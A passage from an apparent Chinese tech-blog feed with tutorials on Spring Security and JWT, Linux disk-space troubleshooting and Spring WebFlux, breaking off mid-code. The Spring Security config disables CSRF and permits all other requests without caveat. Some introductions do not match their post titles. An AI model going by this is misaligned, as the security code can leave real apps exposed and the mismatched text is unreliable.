        <content type="html"><![CDATA[<h1 id="SpringSecurity认证授权流程"><a href="#SpringSecurity认证授权流程" class="headerlink" title="SpringSecurity认证授权流程"></a>SpringSecurity认证授权流程</h1><p>Spring Security 是一个强大的安全框架，提供认证（Authentication）和授权（Authorization）功能。理解其内部流程对定制安全策略至关重要。</p><h2 id="核心组件"><a href="#核心组件" class="headerlink" title="核心组件"></a>核心组件</h2><table><thead><tr><th>组件</th><th>作用</th></tr></thead><tbody><tr><td>SecurityContextHolder</td><td>存储当前安全上下文</td></tr><tr><td>Authentication</td><td>认证令牌</td></tr><tr><td>AuthenticationManager</td><td>认证管理器</td></tr><tr><td>Provider</td><td>具体认证逻辑</td></tr><tr><td>UserDetailsService</td><td>加载用户信息</td></tr><tr><td>FilterChain</td><td>安全过滤器链</td></tr><tr><td>AccessDecisionManager</td><td>授权决策</td></tr></tbody></table><h2 id="认证流程"><a href="#认证流程" class="headerlink" title="认证流程"></a>认证流程</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">HTTP Request</span><br><span class="line">    |</span><br><span class="line">    v</span><br><span class="line">SecurityFilterChain</span><br><span class="line">    |</span><br><span class="line">    ├── UsernamePasswordAuthenticationFilter</span><br><span class="line">    │       └── 提取用户名密码</span><br><span class="line">    │       └── 创建 UsernamePasswordAuthenticationToken</span><br><span class="line">    │       └── 调用 AuthenticationManager.authenticate()</span><br><span class="line">    │</span><br><span class="line">    ├── AuthenticationManager</span><br><span class="line">    │       └── ProviderManager</span><br><span class="line">    │               └── DaoAuthenticationProvider</span><br><span class="line">    │                       ├── UserDetailsService.loadUserByUsername()</span><br><span class="line">    │                       │       └── 从数据库加载用户</span><br><span class="line">    │                       ├── 密码比对（PasswordEncoder）</span><br><span class="line">    │                       └── 创建已认证的 Authentication</span><br><span class="line">    │</span><br><span class="line">    └── SecurityContextHolder</span><br><span class="line">            └── 存入认证信息</span><br></pre></td></tr></table></figure><h2 id="过滤器链"><a href="#过滤器链" class="headerlink" title="过滤器链"></a>过滤器链</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">请求</span><br><span class="line">  |</span><br><span class="line">  ├── ChannelProcessingFilter</span><br><span class="line">  ├── WebAsyncManagerIntegrationFilter</span><br><span class="line">  ├── SecurityContextPersistenceFilter    # 加载/保存 SecurityContext</span><br><span class="line">  ├── HeaderWriterFilter</span><br><span class="line">  ├── CorsFilter</span><br><span class="line">  ├── CsrfFilter                          # CSRF 防护</span><br><span class="line">  ├── LogoutFilter                        # 登出处理</span><br><span class="line">  ├── UsernamePasswordAuthenticationFilter # 表单登录</span><br><span class="line">  ├── DefaultLoginPageGeneratingFilter</span><br><span class="line">  ├── DefaultLogoutPageGeneratingFilter</span><br><span class="line">  ├── BasicAuthenticationFilter           # HTTP Basic</span><br><span class="line">  ├── RequestCacheAwareFilter</span><br><span class="line">  ├── SecurityContextHolderAwareRequestFilter</span><br><span class="line">  ├── AnonymousAuthenticationFilter       # 匿名认证</span><br><span class="line">  ├── SessionManagementFilter</span><br><span class="line">  ├── ExceptionTranslationFilter          # 异常转换</span><br><span class="line">  └── FilterSecurityInterceptor           # 授权拦截</span><br></pre></td></tr></table></figure><h2 id="自定义认证"><a href="#自定义认证" class="headerlink" title="自定义认证"></a>自定义认证</h2><h3 id="1-UserDetailsService"><a href="#1-UserDetailsService" class="headerlink" title="1. UserDetailsService"></a>1. UserDetailsService</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CustomUserDetailsService</span> <span class="keyword">implements</span> <span class="title class_">UserDetailsService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> UserRepository userRepository;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> UserDetails <span class="title function_">loadUserByUsername</span><span class="params">(String username)</span> <span class="keyword">throws</span> UsernameNotFoundException &#123;</span><br><span class="line">        <span class="type">User</span> <span class="variable">user</span> <span class="operator">=</span> userRepository.findByUsername(username)</span><br><span class="line">            .orElseThrow(() -&gt; <span class="keyword">new</span> <span class="title class_">UsernameNotFoundException</span>(<span class="string">&quot;用户不存在&quot;</span>));</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> org.springframework.security.core.userdetails.User.builder()</span><br><span class="line">            .username(user.getUsername())</span><br><span class="line">            .password(user.getPassword())</span><br><span class="line">            .roles(user.getRole())</span><br><span class="line">            .build();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="2-SecurityConfig"><a href="#2-SecurityConfig" class="headerlink" title="2. SecurityConfig"></a>2. SecurityConfig</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="meta">@EnableWebSecurity</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">SecurityConfig</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> CustomUserDetailsService userDetailsService;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Bean</span></span><br><span class="line">    <span class="keyword">public</span> SecurityFilterChain <span class="title function_">filterChain</span><span class="params">(HttpSecurity http)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        http</span><br><span class="line">            .csrf(csrf -&gt; csrf.disable())</span><br><span class="line">            .authorizeHttpRequests(auth -&gt; auth</span><br><span class="line">                .requestMatchers(<span class="string">&quot;/login&quot;</span>, <span class="string">&quot;/register&quot;</span>).permitAll()</span><br><span class="line">                .requestMatchers(<span class="string">&quot;/admin/**&quot;</span>).hasRole(<span class="string">&quot;ADMIN&quot;</span>)</span><br><span class="line">                .requestMatchers(<span class="string">&quot;/api/**&quot;</span>).authenticated()</span><br><span class="line">                .anyRequest().permitAll()</span><br><span class="line">            )</span><br><span class="line">            .formLogin(form -&gt; form</span><br><span class="line">                .loginPage(<span class="string">&quot;/login&quot;</span>)</span><br><span class="line">                .loginProcessingUrl(<span class="string">&quot;/doLogin&quot;</span>)</span><br><span class="line">                .defaultSuccessUrl(<span class="string">&quot;/home&quot;</span>)</span><br><span class="line">                .failureUrl(<span class="string">&quot;/login?error&quot;</span>)</span><br><span class="line">            )</span><br><span class="line">            .logout(logout -&gt; logout</span><br><span class="line">                .logoutUrl(<span class="string">&quot;/logout&quot;</span>)</span><br><span class="line">                .logoutSuccessUrl(<span class="string">&quot;/login&quot;</span>)</span><br><span class="line">            );</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> http.build();</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Bean</span></span><br><span class="line">    <span class="keyword">public</span> PasswordEncoder <span class="title function_">passwordEncoder</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">BCryptPasswordEncoder</span>();</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Bean</span></span><br><span class="line">    <span class="keyword">public</span> AuthenticationManager <span class="title function_">authenticationManager</span><span class="params">(</span></span><br><span class="line"><span class="params">            AuthenticationConfiguration config)</span> <span class="keyword">throws</span> Exception &#123;</span><br><span class="line">        <span class="keyword">return</span> config.getAuthenticationManager();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="JWT-认证"><a href="#JWT-认证" class="headerlink" title="JWT 认证"></a>JWT 认证</h2><h3 id="JWT-Filter"><a href="#JWT-Filter" class="headerlink" title="JWT Filter"></a>JWT Filter</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">JwtAuthenticationFilter</span> <span class="keyword">extends</span> <span class="title class_">OncePerRequestFilter</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> JwtTokenProvider tokenProvider;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> CustomUserDetailsService userDetailsService;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">protected</span> <span class="keyword">void</span> <span class="title function_">doFilterInternal</span><span class="params">(HttpServletRequest request, </span></span><br><span class="line"><span class="params">                                    HttpServletResponse response, </span></span><br><span class="line"><span class="params">                                    FilterChain filterChain)</span> <span class="keyword">throws</span> ServletException, IOException &#123;</span><br><span class="line">        </span><br><span class="line">        <span class="type">String</span> <span class="variable">token</span> <span class="operator">=</span> getTokenFromRequest(request);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> (StringUtils.hasText(token) &amp;&amp; tokenProvider.validateToken(token)) &#123;</span><br><span class="line">            <span class="type">String</span> <span class="variable">username</span> <span class="operator">=</span> tokenProvider.getUsernameFromToken(token);</span><br><span class="line">            <span class="type">UserDetails</span> <span class="variable">userDetails</span> <span class="operator">=</span> userDetailsService.loadUserByUsername(username);</span><br><span class="line">            </span><br><span class="line">            <span class="type">UsernamePasswordAuthenticationToken</span> <span class="variable">authentication</span> <span class="operator">=</span></span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">UsernamePasswordAuthenticationToken</span>(</span><br><span class="line">                    userDetails, <span class="literal">null</span>, userDetails.getAuthorities());</span><br><span class="line">            </span><br><span class="line">            authentication.setDetails(</span><br><span class="line">                <span class="keyword">new</span> <span class="title class_">WebAuthenticationDetailsSource</span>().buildDetails(request));</span><br><span class="line">            </span><br><span class="line">            SecurityContextHolder.getContext().setAuthentication(authentication);</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        filterChain.doFilter(request, response);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> String <span class="title function_">getTokenFromRequest</span><span class="params">(HttpServletRequest request)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">bearerToken</span> <span class="operator">=</span> request.getHeader(<span class="string">&quot;Authorization&quot;</span>);</span><br><span class="line">        <span class="keyword">if</span> (StringUtils.hasText(bearerToken) &amp;&amp; bearerToken.startsWith(<span class="string">&quot;Bearer &quot;</span>)) &#123;</span><br><span class="line">            <span class="keyword">return</span> bearerToken.substring(<span class="number">7</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="JWT-工具类"><a href="#JWT-工具类" class="headerlink" title="JWT 工具类"></a>JWT 工具类</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">JwtTokenProvider</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Value(&quot;$&#123;jwt.secret&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> String jwtSecret;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Value(&quot;$&#123;jwt.expiration:86400000&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">private</span> <span class="type">long</span> jwtExpiration;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">generateToken</span><span class="params">(UserDetails userDetails)</span> &#123;</span><br><span class="line">        <span class="type">Date</span> <span class="variable">expiryDate</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Date</span>(System.currentTimeMillis() + jwtExpiration);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> Jwts.builder()</span><br><span class="line">            .setSubject(userDetails.getUsername())</span><br><span class="line">            .setIssuedAt(<span class="keyword">new</span> <span class="title class_">Date</span>())</span><br><span class="line">            .setExpiration(expiryDate)</span><br><span class="line">            .signWith(SignatureAlgorithm.HS512, jwtSecret)</span><br><span class="line">            .compact();</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> String <span class="title function_">getUsernameFromToken</span><span class="params">(String token)</span> &#123;</span><br><span class="line">        <span class="type">Claims</span> <span class="variable">claims</span> <span class="operator">=</span> Jwts.parser()</span><br><span class="line">            .setSigningKey(jwtSecret)</span><br><span class="line">            .parseClaimsJws(token)</span><br><span class="line">            .getBody();</span><br><span class="line">        <span class="keyword">return</span> claims.getSubject();</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="type">boolean</span> <span class="title function_">validateToken</span><span class="params">(String token)</span> &#123;</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            Jwts.parser().setSigningKey(jwtSecret).parseClaimsJws(token);</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">        &#125; <span class="keyword">catch</span> (Exception e) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="授权流程"><a href="#授权流程" class="headerlink" title="授权流程"></a>授权流程</h2><h3 id="方法级授权"><a href="#方法级授权" class="headerlink" title="方法级授权"></a>方法级授权</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">OrderService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@PreAuthorize(&quot;hasRole(&#x27;USER&#x27;)&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> Order <span class="title function_">createOrder</span><span class="params">(OrderRequest request)</span> &#123;</span><br><span class="line">        <span class="comment">// ...</span></span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@PreAuthorize(&quot;hasRole(&#x27;ADMIN&#x27;) or @securityService.isOwner(#orderId)&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">cancelOrder</span><span class="params">(Long orderId)</span> &#123;</span><br><span class="line">        <span class="comment">// ...</span></span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@PostAuthorize(&quot;returnObject.userId == authentication.principal.id&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> Order <span class="title function_">getOrder</span><span class="params">(Long orderId)</span> &#123;</span><br><span class="line">        <span class="comment">// ...</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="配置"><a href="#配置" class="headerlink" title="配置"></a>配置</h3><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@EnableGlobalMethodSecurity(prePostEnabled = true)</span></span><br><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">MethodSecurityConfig</span> &#123; &#125;</span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>Spring Security 的核心流程：</p><ol><li><strong>请求进入</strong> FilterChain</li><li><strong>认证过滤器</strong> 提取凭证</li><li><strong>AuthenticationManager</strong> 委托认证</li><li><strong>UserDetailsService</strong> 加载用户</li><li><strong>PasswordEncoder</strong> 比对密码</li><li><strong>SecurityContextHolder</strong> 存储结果</li><li><strong>授权拦截器</strong> 检查权限</li></ol><p>掌握这个流程，可以灵活定制各种安全策略。</p>]]></content>
      
      
      <categories>
          
          <category> Spring </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> Spring </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Linux 磁盘空间占满排查流程</title>
      <link href="//linux-ci-pan-kong-jian-zhan-man-pai-cha-liu-cheng/"/>
      <url>//linux-ci-pan-kong-jian-zhan-man-pai-cha-liu-cheng/</url>
      
        <content type="html"><![CDATA[<h1 id="Linux-磁盘空间占满排查流程"><a href="#Linux-磁盘空间占满排查流程" class="headerlink" title="Linux 磁盘空间占满排查流程"></a>Linux 磁盘空间占满排查流程</h1><p>Linux 文件权限是运维和后端开发的基础。本文讲权限模型和常见问题。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Linux </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 教程 </tag>
            
            <tag> Linux </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>SpringBoot WebFlux响应式编程</title>
      <link href="//springboot-webflux-xiang-ying-shi-bian-cheng/"/>
      <url>//springboot-webflux-xiang-ying-shi-bian-cheng/</url>
      
        <content type="html"><![CDATA[<h1 id="SpringBoot-WebFlux响应式编程"><a href="#SpringBoot-WebFlux响应式编程" class="headerlink" title="SpringBoot WebFlux响应式编程"></a>SpringBoot WebFlux响应式编程</h1><p>Spring Boot 简化了配置，但日志管理依然需要重视。日志配置、链路追踪、排查思路都是日常开发中会遇到的问题。本文讲实际项目中的日志管理经验。</p><h2 id="WebFlux-vs-MVC"><a href="#WebFlux-vs-MVC" class="headerlink" title="WebFlux vs MVC"></a>WebFlux vs MVC</h2><table><thead><tr><th>特性</th><th>Spring MVC</th><th>Spring WebFlux</th></tr></thead><tbody><tr><td>编程模型</td><td>命令式</td><td>声明式/响应式</td></tr><tr><td>线程模型</td><td>每请求一线程</td><td>事件循环 + 少量线程</td></tr><tr><td>阻塞</td><td>支持阻塞</td><td>非阻塞</td></tr><tr><td>底层</td><td>Servlet API</td><td>Reactive Streams</td></tr><tr><td>适用</td><td>传统 Web</td><td>高并发/流式数据</td></tr></tbody></table><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">Spring MVC:        Spring WebFlux:</span><br><span class="line">Thread-per-Request  Event Loop</span><br><span class="line">┌───┐              ┌──────────┐</span><br><span class="line">│Req│──Thread1     │Req1      │──Event Loop</span><br><span class="line">├───┤              │Req2      │    ├──Worker</span><br><span class="line">│Req│──Thread2     │Req3...   │    ├──Worker</span><br><span class="line">├───┤              └──────────┘    └──Worker</span><br><span class="line">│Req│──Thread3</span><br></pre></td></tr></table></figure><h2 id="核心概念"><a href="#核心概念" class="headerlink" title="核心概念"></a>核心概念</h2><p>#</p><h2 id="Mono-和-Flux"><a href="#Mono-和-Flux" class="headerlink" title="Mono 和 Flux"></a>Mono 和 Flux</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// Mono: 0 或 1 个元素</span></span><br><span class="line">Mono&lt;String&gt; mono = Mono.just(<span class="string">&quot;Hello&quot;</span>);</span><br><span class="line">Mono&lt;String&gt; empty = Mono.empty();</span><br><span class="line">Mono&lt;String&gt; error = Mono.error(<span class="keyword">new</span> <span class="title class_">RuntimeException</span>());</span><br><span class="line"></span><br><span class="line"><span class="comment">// Flux: 0 到 N 个元素</span></span><br><span class="line">Flux&lt;String&gt; flux = Flux.just(<span class="string">&quot;a&quot;</span>, <span class="string">&quot;b&quot;</span>, <span class="string">&quot;c&quot;</span>);</span><br><span class="line">Flux&lt;Integer&gt; range = Flux.range(<span class="number">1</span>, <span class="number">10</span>);</span><br><span class="line">Flux&lt;Long&gt; interval = Flux.interval(Duration.ofSeconds(<span class="number">1</span>));</span><br></pre></td></tr></table></figure><p>#</p><h2 id="订阅"><a href="#订阅" class="headerlink" title="订阅"></a>订阅</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 订阅并消费</span></span><br><span class="line">mono.subscribe(</span><br><span class="line">    value -&gt; System.out.println(<span class="string">&quot;值: &quot;</span> + value),</span><br><span class="line">    error -&gt; System.err.println(<span class="string">&quot;错误: &quot;</span> + error),</span><br><span class="line">    () -&gt; System.out.println(<span class="string">&quot;完成&quot;</span>)</span><br><span class="line">);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 阻塞获取</span></span><br><span class="line"><span class="type">String</span> <span class="variable">result</span> <span class="operator">=</span> mono.block();</span><br><span class="line"></span><br><span class="line"><span class="comment">// 转换为 List</span></span><br><span class="line">List&lt;String&gt; list = flux.collectList().block();</span><br></pre></td></tr></table></figure><p>#</p><h2 id="操作符"><a href="#操作符" class="headerlink" title="操作符"></a>操作符</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">Flux.just(<span class="number">1</span>, <span class="number">2</span>, <span class="number">3</span>, <span class="number">4</span>, <span class="number">5</span>)</span><br><span class="line">    .map(n -&gt; n * n)           <span class="comment">// 转换: 1, 4, 9, 16, 25</span></span><br><span class="line">    .filter(n -&gt; n &gt; <span class="number">10</span>)       <span class="comment">// 过滤: 16, 25</span></span><br><span class="line">    .take(<span class="number">1</span>)                   <span class="comment">// 取前1个: 16</span></span><br><span class="line">    .subscribe(System.out::println);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 合并</span></span><br><span class="line">Mono&lt;String&gt; m1 = Mono.just(<span class="string">&quot;Hello&quot;</span>);</span><br><span class="line">Mono&lt;String&gt; m2 = Mono.just(<span class="string">&quot;World&quot;</span>);</span><br><span class="line">Mono&lt;String&gt; combined = Mono.zip(m1, m2, (a, b) -&gt; a + <span class="string">&quot; &quot;</span> + b);</span><br></pre></td></tr></table></figure><h2 id="创建-WebFlux-应用"><a href="#创建-WebFlux-应用" class="headerlink" title="创建 WebFlux 应用"></a>创建 WebFlux 应用</h2><p>#</p><h2 id="依赖"><a href="#依赖" class="headerlink" title="依赖"></a>依赖</h2><figure class="highlight xml"><table><tr><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.springframework.boot<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>spring-boot-starter-webflux<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure><p>#</p><h2 id="注解式-Controller"><a href="#注解式-Controller" class="headerlink" title="注解式 Controller"></a>注解式 Controller</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@RestController</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserController</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> UserRepository userRepository;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@GetMapping(&quot;/users&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> Flux&lt;User&gt; <span class="title function_">listUsers</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userRepository.findAll();</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@GetMapping(&quot;/users/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> Mono&lt;User&gt; <span class="title function_">getUser</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userRepository.findById(id);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@PostMapping(&quot;/users&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> Mono&lt;User&gt; <span class="title function_">createUser</span><span class="params">(<span class="meta">@RequestBody</span> User user)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userRepository.save(user);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@DeleteMapping(&quot;/users/&#123;id&#125;&quot;)</span></span><br><span class="line">    <span class="keyword">public</span> Mono&lt;Void&gt; <span class="title function_">deleteUser</span><span class="params">(<span class="meta">@PathVariable</span> Long id)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> userRepository.deleteById(id);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="函数式路由"><a href="#函数式路由" class="headerlink" title="函数式路由"></a>函数式路由</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserRouter</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Bean</span></span><br><span class="line">    <span class="keyword">public</span> RouterFunction&lt;ServerResponse&gt; <span class="title function_">userRoutes</span><span class="params">(UserHandler handler)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> RouterFunctions.route()</span><br><span class="line">            .GET(<span class="string">&quot;/users&quot;</span>, handler::list)</span><br><span class="line">            .GET(<span class="string">&quot;/users/&#123;id&#125;&quot;</span>, handler::get)</span><br><span class="line">            .POST(<span class="string">&quot;/users&quot;</span>, handler::create)</span><br><span class="line">            .DELETE(<span class="string">&quot;/users/&#123;id&#125;&quot;</span>, handler::delete)</span><br><span class="line">            .build();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">UserHandler</span> &#123;</span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> UserRepository userRepository;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> Mono&lt;ServerResponse&gt; <span class="title function_">list</span><span class="params">(ServerRequest request)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> ServerResponse.ok()</span><br><span class="line">            .body(userRepository.findAll(), User.class);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> Mono&lt;ServerResponse&gt; <span class="title function_">get</span><span class="params">(ServerRequest request)</span> &#123;</span><br><span class="line">        <span class="type">Long</span> <span class="variable">id</span> <span class="operator">=</span> Long.parseLong(request.pathVariable(<span class="string">&quot;id&quot;</span>));</span><br><span class="line">        <span class="keyword">return</span> userRepository.findById(id)</span><br><span class="line">            .flatMap(user -&gt; ServerResponse.ok().bodyValue(user))</span><br><span class="line">            .switchIfEmpty(ServerResponse.notFound().build());</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> Mono&lt;ServerResponse&gt; <span class="title function_">create</span><span class="params">(ServerRequest request)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> request.bodyToMono(User.class)</span><br><span class="line">            .flatMap(userRepository::save)</span><br><span class="line">            .flatMap(user -&gt; ServerResponse.ok().bodyValue(user));</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> Mono&lt;ServerResponse&gt; <span class="title function_">delete</span><span class="params">(ServerRequest request)</span> &#123;</span><br><span class="line">        <span class="type">Long</span> <span class="variable">id</span> <span class="operator">=</span> Long.parseLong(request.pathVariable(<span class="string">&quot;id&quot;</span>));</span><br><span class="line">        <span class="keyword">return</span> userRepository.deleteById(id)</span><br><span class="line">            .then(ServerResponse.ok().build());</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="WebClient"><a href="#WebClient" class="headerlink" title="WebClient"></a>WebClient</h2><p>#</p><h2 id="创建"><a href="#创建" class="headerlink" title="创建"></a>创建</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">WebClient</span> <span class="variable">client</span> <span class="operator">=</span> WebClient.builder()</span><br><span class="line">    .baseUrl(<span class="string">&quot;https://api.example.com&quot;</span>)</span><br><span class="line">    .defaultHeader(HttpHeaders.CONTENT_TYPE, MediaType.APPLICATION_JSON_VALUE)</span><br><span class="line">    .build();</span><br></pre></td></tr></table></figure><p>#</p><h2 id="GET-请求"><a href="#GET-请求" class="headerlink" title="GET 请求"></a>GET 请求</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 获取单个对象</span></span><br><span 